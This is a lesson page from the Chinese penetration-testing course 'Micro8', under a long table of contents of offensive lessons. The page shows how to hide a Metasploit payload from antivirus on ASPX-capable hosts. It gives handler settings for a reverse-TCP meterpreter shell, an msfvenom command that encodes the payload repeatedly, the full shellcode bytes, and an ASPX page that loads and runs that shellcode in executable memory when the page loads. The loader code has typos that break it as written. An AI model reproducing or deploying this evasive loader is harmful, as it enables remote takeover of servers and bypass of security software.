Micro8
  • 前言
  • Preface
  • 目录
  • 第一章:生
    • 1-10课
      • 第一课:windows提权-快速查找exp
      • 第二课:Linux提权-依赖exp篇
      • 第三课:Delphi代码审计--项目实战1
      • 第四课:Asp代码审计--项目实战2
      • 第五课:工具介绍-Sqlmap
      • 第六课:反攻的一次溯源--项目实战3
      • 第七课:sql server 常用操作远程桌面语句
      • 第八课:模拟诉求任务攻击
      • 第九课:工具介绍-the-backdoor-factory
      • 第十课:msfvenom常用生成payload命令
    • 11-20课
      • 第十一课:工具介绍Veil-Evasion
      • 第十二课:基于UDP发现内网存活主机
      • 第十三课:基于ARP发现内网存活主机
      • 第十四课:基于第十课补充payload1
      • 第十五课:基于第十课补充payload2
      • 第十六课:红蓝对抗渗透测试1
      • 第十七课:红蓝对抗渗透测试2
      • 第十八课:红蓝对抗渗透测试3
      • 第十九课:基于netbios发现内网存活主机
      • 第二十课:基于snmp发现内网存活主机
    • 21-30课
      • 第二十一课:基于ICMP发现内网存活主机
      • 第二十二课:基于SMB发现内网存活主机
      • 第二十三课:基于MSF发现内网存活主机第一季
      • 第二十四课:基于MSF发现内网存活主机第二季
      • 第二十五课:基于MSF发现内网存活主机第三季
      • 第二十六课:基于MSF发现内网存活主机第四季
      • 第二十七课:基于MSF发现内网存活主机第五季
      • 第二十八课:基于MSF发现内网存活主机第六季
      • 第二十九课:发现目标WEB程序敏感目录第一季
      • 第三十课:解决msfvenom命令自动补全
    • 31-40课
      • 第三十一课:msf的前生今世
      • 第三十二课:配置vps上的msf
      • 第三十三课:攻击Mysql服务
      • 第三十四课:攻击Sql server 服务
      • 第三十五课:与Sqlmap结合攻击
      • 第三十六课:解决vps上ssh掉线
      • 第三十七课:vbs一句话下载payload
      • 第三十八课:certutil一句话下载payload
      • 第三十九课:vbs一句话下载payload补充
      • 第四十课:ftp一句话下载payload
    • 41-50课
      • 第四十一课:bitsadmin一句话下载payload
      • 第四十二课:攻击FTP服务
      • 第四十三课:js一句话下载payload
      • 第四十四课:ertutil一句话下载payload补充
      • 第四十五课:解决bat一句话下载payload黑窗
      • 第四十六课:powershell一句话下载payload
      • 第四十七课:payload分离免杀思路
      • 第四十八课:payload分离免杀思路第二季
      • 第四十九课:关于Powershell对抗安全软件
      • 第五十课:基于SqlDataSourceEnumerator发现内网存活主机
    • 51-60课
      • 第五十一课:项目回忆:体系的本质是知识点串联
      • 第五十二课:渗透的本质是信息搜集
      • 第五十三课:内网渗透中的文件传输
      • 第五十四课:基于Powershell做Socks 4-5代理
      • 第五十五课:与Smbmap结合攻击
      • 第五十六课:离线提取目标机hash
      • 第五十七课:高级持续渗透-第一季关于后门
      • 第五十八课:高级持续渗透-第二季关于后门补充一
      • 第五十九课:高级持续渗透-第三季关于后门补充二
      • 第六十课:高级持续渗透-第四季关于后门
    • 61-70课
      • 第六十一课:高级持续渗透-第五季关于后门
      • 第六十二课:高级持续渗透-第六季关于后门
      • 第六十三课:高级持续渗透-第七季demo的成长
      • 第六十四课:高级持续渗透-第八季demo便是远控
      • 第六十五课:离线提取目标机hash补充
      • 第六十六课:借助aspx对payload进行分离免杀
      • 第六十七课:meterpreter下的irb操作第一季
      • 第六十八课:基于Ruby内存加载shellcode第一季
      • 第六十九课:渗透,持续渗透,后渗透的本质
      • 第七十课:ftp一句话下载payload补充
    • 71-80课
      • 第七十一课:基于白名单Msbuild.exe执行payload第一季
      • 第七十二课:基于白名单Installutil.exe执行payload第二季
      • 第七十三课:基于白名单Regasm.exe执行payload第三季
      • 第七十四课:基于白名单Regsvcs.exe执行payload第四季
      • 第七十五课:基于白名单Mshta.exe执行payload第五季
      • 第七十六课:基于白名单Compiler.exe执行payload第六季
      • 第七十七课:基于白名单Csc.exe执行payload第七季
      • 第七十八课:基于白名单Msiexec执行payload第八季
      • 第七十九课:基于白名单Regsvr32执行payload第九季
      • 第八十课:基于白名单Wmic执行payload第十季
    • 81-90课
      • 第八十一课:基于白名单Rundll32.exe执行payload第十一季
      • 第八十二课:基于白名单Odbcconf执行payload第十二季
      • 第八十三课:基于白名单PsExec执行payload第十三季
      • 第八十四课:基于白名单Forfiles执行payload第十四季
      • 第八十五课:基于白名单Pcalua执行payload第十五季
      • 第八十六课:基于白名单Msiexec执行payload第八季补充
      • 第八十七课:基于白名单Cmstp.exe执行payload第十六季
      • 第八十八课:基于白名单Ftp.exe执行payload第十九季
      • 第八十九课:基于白名单Url.dll执行payload第十七季
      • 第九十课:基于白名单zipfldr.dll执行payload第十八季
    • 91-100课
      • 第九十一课:从目标文件中做信息搜集第一季
      • 第九十二课:实战中的Payload应用
      • 第九十三课:与CrackMapExec结合攻击
      • 第九十四课:基于实战中的small payload
      • 第九十五课:基于Portfwd端口转发
      • 第九十六课:HTTP隧道ABPTTS第一季
      • 第九十七课:MSF配置自定义Payload控制目标主机权限
      • 第九十八课:HTTP隧道reGeorg第二季
      • 第九十九课:HTTP隧道Tunna第三季
      • 第一百课:HTTP隧道reDuh第四季
  • 第二章:老(待更新...)
    • 第一百零一课:基于SCF做目标内网信息搜集第二季
    • 第一百零二课:对抗权限长期把控-伪造无效签名第一季
    • 第一百零三课:Http加密隧道下的横向渗透尝试---klion
    • 第一百零四课:Windows Smb 欺骗重放攻击利用---klion
    • 第一百零五课:windows 单机免杀抓明文或hash [通过dump lsass进程数据]---klion
    • 第一百零六课:windows 单机免杀抓明文或hash [通过简单混淆编码绕过常规静态检测]---klion
    • 第一百零七课:跨平台横向移动 [ windows计划任务利用 ]---klion
    • 第一百零八课:跨平台横向移动 [wmi利用]---klion
    • 第一百零九课:依托 metasploit 尽可能多的发现目标内网下的各类高价值存活主机---klion
    • 第一百一十课:窃取,伪造模拟各种windows访问令牌[token利用]---klion
    • 第一百一十一课:内网mssql完整利用流程 [ 基础篇 ]---klion
    • 第一百一十二课:利用Dropbox中转C2流量---klion
    • 第一百一十三课:COM Hijacking---倾旋
    • 第一百一十四课:渗透沉思录
    • 第一百一十五课:使用CrackMapExec 进行 NTLM Hash传递攻击---倾旋
    • 第一百一十六课:Windows域渗透 - 用户密码枚举---倾旋
    • 第一百一十七课:Windows 本地特权提升技巧---倾旋
    • 第一百一十八课:CVE-2017-11882钓鱼攻击---倾旋
    • 第一百一十九课:全平台高性能加密隧道 ssf---klion
    • 第一百二十课:win自带的高级网络配置管理工具深度应用 [ netsh ]---klion
    • 第一百二十一课:http加密代理深度应用 [ abptts ]---klion
    • 第一百二十二课:利用 ssh隧道实现内网断网机meterpreter反向上线---klion
    • 第一百二十三课:利用ssh隧道将公网meterpreter弹至本地的msf中---klion
  • 第三章:病(待更新...)
Powered by GitBook
On this page
  • payload生成:
  • 其中分离shellcode。构造如下:
  • 附录:Source code

Was this helpful?

  1. 第一章:生
  2. 61-70课

第六十六课:借助aspx对payload进行分离免杀

Previous第六十五课:离线提取目标机hash补充Next第六十七课:meterpreter下的irb操作第一季

Last updated 6 years ago

Was this helpful?

关于分离免杀,其他章节参考:

  • 68课时payload特征,行为分离免杀思路第一季

  • 69课时payload分离免杀思路第二季

本季针对目标环境支持aspx进行分离免杀。

靶机背景:

  • Windows 2003

  • Debian

Windows 2003:

msf auxiliary(server/socks4a) > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp_uuid 
payload => windows/meterpreter/reverse_tcp_uuid
msf exploit(multi/handler) > set lhost 192.168.1.5 
lhost => 192.168.1.5
msf exploit(multi/handler) > set lport 53 
lport => 53
msf exploit(multi/handler) > set stageencoder x86/shikata_ga_nai
stageencoder => x86/shikata_ga_nai
msf exploit(multi/handler) > set EnableStageEncoding true
EnableStageEncoding => true
msf exploit(multi/handler) > set exitonsession false
exitonsession => false
msf exploit(multi/handler) > show options 

Module options(exploit/multi/handler):

Name Current Setting Required Description 
---- --------------- -------- -----------

Payload options (windows/meterpreter/reverse_tcp_uuid):

Name Current Setting Required Description
---- --------------- -------- -----------

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process,none)
LHOST 192.168.1.5 yes The listen address
LPORT 53 yes The listen port

Exploit target:

Id Name
-- ----
0 Wildcard Target

msf exploit(multi/handler) > exploit -j -z

payload生成:

root@John:tmp# msfvenom -a x86 -p windows/meterpreter/reverse_tcp_uuid
LHOST=192.168.1.5 LPORT=53 EnableStageEncoding=true
stageencoder=x86/shikata_ga_nai -e x86/shikata_ga_nai -i 5 -f csharp
/usr/share/metasploit-framework/lib/msf/core/opt.rb:55: warning: constant
OpenSSL::SSL::SSLContext::METHODS is deprecated
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 401 (iteration=0) x86/shikata_ga_nai succeeded with size 428 (iteration=1) x86/shikata_ga_nai succeeded with size 455 (iteration=2) x86/shikata_ga_nai succeeded with size 482 (iteration=3)
x86/shikata_ga_nai succeeded with size 509 (iteration=4) x86/shikata_ga_nai chosen with final size 509
Payload size: 509 bytes
Final size of csharp file: 2610 bytes
byte[] buf = new byte[509] {
0xd9,0xcc,0xd9,0x74,0x24,0xf4,0x5a,0xb8,0x76,0x1e,0x3d,0x54,0x2b,0xc9,0xb1,
0x79,0x83,0xc2,0x04,0x31,0x42,0x15,0x03,0x42,0x15,0x94,0xeb,0x83,0x64,0x7e,
0x17,0xee,0x5e,0xa8,0xce,0x7a,0x7b,0xa0,0xae,0xab,0x4a,0xf9,0x23,0x2f,0xa3,
0x05,0xf2,0x58,0x2d,0xf6,0x82,0xb7,0xaf,0x3d,0x91,0x7c,0x80,0x6a,0xd8,0xba,
0x3b,0x5a,0xda,0xb6,0xca,0xc8,0xeb,0x0d,0x8c,0x2a,0x94,0xc2,0x85,0x87,0xbc,
0x25,0xd1,0x6e,0x64,0xfe,0xc0,0xf6,0x5e,0x9f,0x15,0x80,0x17,0x8f,0xaa,0xae,
0xff,0x22,0x6b,0x6b,0x46,0x14,0x4c,0x66,0x50,0xcb,0x1f,0x29,0x00,0x27,0x4c,
0x19,0x12,0x09,0x98,0x38,0x3e,0x6c,0xa2,0x22,0x60,0xbf,0x99,0xdb,0xe7,0xc5,
0xa2,0x46,0x18,0xbd,0xc4,0xae,0xd7,0x82,0xe3,0xbd,0xfe,0x40,0x33,0xf6,0xd2,
0x7a,0x6b,0xe1,0x2f,0xf9,0x4b,0x8b,0xc3,0x57,0x26,0xfe,0xfd,0x91,0xf7,0x93,
0x4a,0xe1,0x85,0xeb,0x68,0x16,0x42,0xc9,0x6f,0xac,0xef,0x28,0x05,0x46,0x76,
0x1b,0xa3,0xb9,0xe9,0xbf,0x1a,0x56,0x3e,0xdc,0x4d,0xf3,0x9f,0x1b,0x09,0x55,
0x63,0x07,0xa3,0x59,0xbc,0x57,0xad,0x72,0x53,0x6b,0xff,0x49,0x10,0x47,0x21,
0x81,0xb8,0x0e,0x98,0xec,0x03,0xa3,0x9f,0x90,0xa3,0x15,0xc4,0x7d,0x87,0x5c,
0xcd,0xfe,0x32,0xca,0x11,0xf3,0x14,0x20,0xc8,0x92,0x36,0x88,0xe8,0xa1,0xad,
0xac,0x46,0x19,0x9f,0x04,0x76,0x01,0x41,0x3d,0x3a,0x7d,0x80,0xa2,0x4e,0x24,
0xcb,0x6b,0xe7,0xc9,0xc8,0xa4,0x01,0x17,0xb3,0x3a,0xd9,0x8e,0x9b,0x13,0x7b,
0xbf,0x49,0xf3,0xa9,0x71,0x57,0x49,0x54,0x60,0x32,0xf4,0x4e,0xfa,0x76,0xf8,
0x38,0x7c,0xb7,0x6b,0xac,0xc1,0x27,0x6b,0xae,0x80,0x10,0x85,0x98,0x61,0x42,
0x1e,0x1e,0xb0,0x58,0x6b,0xff,0x92,0x68,0xa5,0x29,0x45,0x99,0x9c,0xa2,0xc0,
0x29,0x53,0xc3,0x4b,0x76,0x72,0x17,0x60,0x3d,0xd8,0x11,0xce,0xc0,0xe6,0x34,
0xa1,0x26,0x65,0x98,0x79,0xf6,0x58,0x92,0x41,0x04,0xa0,0xf0,0x3d,0xf1,0x44,
0xb9,0x63,0x42,0x1a,0xac,0xad,0x67,0x98,0x8f,0x27,0x73,0xdd,0x54,0x61,0x65,
0xd1,0x72,0xc5,0x0f,0x8a,0xd3,0x80,0x6a,0xc3,0xf6,0x44,0x2f,0x1a,0x6a,0xe6,
0xfa,0x6c,0xa5,0x95,0x54,0x47,0x54,0xbf,0x66,0x78,0xfd,0x40,0x10,0x62,0xe8,
0xc0,0x93,0xa8,0x80,0xb9,0x37,0x4c,0x47,0x7b,0x61,0xc1,0x44,0x13,0x17,0x7f,
0xa2,0x73,0xcd,0x76,0x5f,0x2a,0x98,0x92,0x3e,0x09,0xa3,0x60,0xeb,0x41,0x1a,
0xf4,0xcb,0x6f,0x96,0xc6,0x3c,0xf0,0xda,0xc6,0x1c,0x1c,0xb6,0xa0,0x64,0x67,
0x7b,0xdc,0xe2,0x43,0xf1,0xee,0x3b,0x93,0xb9,0x95,0x29,0x01,0x97,0x8c,0x09,
0x72,0xee,0x78,0x1a,0x13,0x60,0xa6,0xac,0x05,0x99,0x6c,0x28,0x81,0x29,0x5d,
0x37,0x89,0x2a,0x3d,0xbf,0x0e,0xc7,0xeb,0x9f,0x44,0x1d,0xb3,0x4d,0x1a,0xbc,
0xe2,0x22,0xb2,0xb3,0xa6,0x43,0x3e,0x46,0xc5,0x0d,0xba,0x87,0xd5,0x6d,0x70,
0xfe,0x87,0x58,0x2c,0x4b,0x8c,0x2d,0x56,0x21,0x4a,0xbf,0x45,0x8c,0xd9,0x9e,
0xa0,0xe4,0x20,0x6b,0x7f,0xfb,0xd0,0x1e,0x88,0x13,0x6e,0x11,0xe9,0xd9 };

其中分离shellcode。构造如下:

上线成功,关于分离免杀的思路不仅仅限制于脚本,pe文件。包括powershell等。这是每一个安全从业者应该考虑的问题。

附录:Source code

<%@ Page Language="C#" AutoEventWireup="true" Inherits="System.Web.UI.Page" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<script runat="server">
delegate int MsfpayloadProc();
protected void Page_Load(object sender, EventArgs e)
{
    byte[] buf = codeBytes[509] {
0xd9,0xcc,0xd9,0x74,0x24,0xf4,0x5a,0xb8,0x76,0x1e,0x3d,0x54,0x2b,0xc9,0xb1,
0x79,0x83,0xc2,0x04,0x31,0x42,0x15,0x03,0x42,0x15,0x94,0xeb,0x83,0x64,0x7e,
0x17,0xee,0x5e,0xa8,0xce,0x7a,0x7b,0xa0,0xae,0xab,0x4a,0xf9,0x23,0x2f,0xa3,
0x05,0xf2,0x58,0x2d,0xf6,0x82,0xb7,0xaf,0x3d,0x91,0x7c,0x80,0x6a,0xd8,0xba,
0x3b,0x5a,0xda,0xb6,0xca,0xc8,0xeb,0x0d,0x8c,0x2a,0x94,0xc2,0x85,0x87,0xbc,
0x25,0xd1,0x6e,0x64,0xfe,0xc0,0xf6,0x5e,0x9f,0x15,0x80,0x17,0x8f,0xaa,0xae,
0xff,0x22,0x6b,0x6b,0x46,0x14,0x4c,0x66,0x50,0xcb,0x1f,0x29,0x00,0x27,0x4c,
0x19,0x12,0x09,0x98,0x38,0x3e,0x6c,0xa2,0x22,0x60,0xbf,0x99,0xdb,0xe7,0xc5,
0xa2,0x46,0x18,0xbd,0xc4,0xae,0xd7,0x82,0xe3,0xbd,0xfe,0x40,0x33,0xf6,0xd2,
0x7a,0x6b,0xe1,0x2f,0xf9,0x4b,0x8b,0xc3,0x57,0x26,0xfe,0xfd,0x91,0xf7,0x93,
0x4a,0xe1,0x85,0xeb,0x68,0x16,0x42,0xc9,0x6f,0xac,0xef,0x28,0x05,0x46,0x76,
0x1b,0xa3,0xb9,0xe9,0xbf,0x1a,0x56,0x3e,0xdc,0x4d,0xf3,0x9f,0x1b,0x09,0x55,
0x63,0x07,0xa3,0x59,0xbc,0x57,0xad,0x72,0x53,0x6b,0xff,0x49,0x10,0x47,0x21,
0x81,0xb8,0x0e,0x98,0xec,0x03,0xa3,0x9f,0x90,0xa3,0x15,0xc4,0x7d,0x87,0x5c,
0xcd,0xfe,0x32,0xca,0x11,0xf3,0x14,0x20,0xc8,0x92,0x36,0x88,0xe8,0xa1,0xad,
0xac,0x46,0x19,0x9f,0x04,0x76,0x01,0x41,0x3d,0x3a,0x7d,0x80,0xa2,0x4e,0x24,
0xcb,0x6b,0xe7,0xc9,0xc8,0xa4,0x01,0x17,0xb3,0x3a,0xd9,0x8e,0x9b,0x13,0x7b,
0xbf,0x49,0xf3,0xa9,0x71,0x57,0x49,0x54,0x60,0x32,0xf4,0x4e,0xfa,0x76,0xf8,
0x38,0x7c,0xb7,0x6b,0xac,0xc1,0x27,0x6b,0xae,0x80,0x10,0x85,0x98,0x61,0x42,
0x1e,0x1e,0xb0,0x58,0x6b,0xff,0x92,0x68,0xa5,0x29,0x45,0x99,0x9c,0xa2,0xc0,
0x29,0x53,0xc3,0x4b,0x76,0x72,0x17,0x60,0x3d,0xd8,0x11,0xce,0xc0,0xe6,0x34,
0xa1,0x26,0x65,0x98,0x79,0xf6,0x58,0x92,0x41,0x04,0xa0,0xf0,0x3d,0xf1,0x44,
0xb9,0x63,0x42,0x1a,0xac,0xad,0x67,0x98,0x8f,0x27,0x73,0xdd,0x54,0x61,0x65,
0xd1,0x72,0xc5,0x0f,0x8a,0xd3,0x80,0x6a,0xc3,0xf6,0x44,0x2f,0x1a,0x6a,0xe6,
0xfa,0x6c,0xa5,0x95,0x54,0x47,0x54,0xbf,0x66,0x78,0xfd,0x40,0x10,0x62,0xe8,
0xc0,0x93,0xa8,0x80,0xb9,0x37,0x4c,0x47,0x7b,0x61,0xc1,0x44,0x13,0x17,0x7f,
0xa2,0x73,0xcd,0x76,0x5f,0x2a,0x98,0x92,0x3e,0x09,0xa3,0x60,0xeb,0x41,0x1a,
0xf4,0xcb,0x6f,0x96,0xc6,0x3c,0xf0,0xda,0xc6,0x1c,0x1c,0xb6,0xa0,0x64,0x67,
0x7b,0xdc,0xe2,0x43,0xf1,0xee,0x3b,0x93,0xb9,0x95,0x29,0x01,0x97,0x8c,0x09,
0x72,0xee,0x78,0x1a,0x13,0x60,0xa6,0xac,0x05,0x99,0x6c,0x28,0x81,0x29,0x5d,
0x37,0x89,0x2a,0x3d,0xbf,0x0e,0xc7,0xeb,0x9f,0x44,0x1d,0xb3,0x4d,0x1a,0xbc,
0xe2,0x22,0xb2,0xb3,0xa6,0x43,0x3e,0x46,0xc5,0x0d,0xba,0x87,0xd5,0x6d,0x70,
0xfe,0x87,0x58,0x2c,0x4b,0x8c,0x2d,0x56,0x21,0x4a,0xbf,0x45,0x8c,0xd9,0x9e,
0xa0,0xe4,0x20,0x6b,0x7f,0xfb,0xd0,0x1e,0x88,0x13,0x6e,0x11,0xe9,0xd9 };

IntPtr handle = IntPtr.Zero;
handle = VirtualAlloc(
IntPtr.Zero,
codeBytes.Length,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);

try
{
Marshal.Copy(codeBytes, 0, handle, codeBytes.Length);
MsfpayloadProc msfpayload
= Marshal.GetDelegateForFunctionPointer(handle, typeof(MsfpayloadProc)) as MsfpayloadProc;
msfpayload();
}

finally
{
VirtualFree(handle, 0, MEM_RELEASE);
}
}
[DllImport("Kernel32.dll", EntryPoint = "VirtualAlloc")]

public static extern IntPtr VirtualAlloc(IntPtr address, int size, ui ntallocType, uint protect);

[DllImport("Kernel32.dll", EntryPoint = "VirtualFree")]

public static extern bool VirtualFree(IntPtr address, int size, uint freeType);
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
const uint MEM_RELEASE = 0x8000;
</script>

Micropoor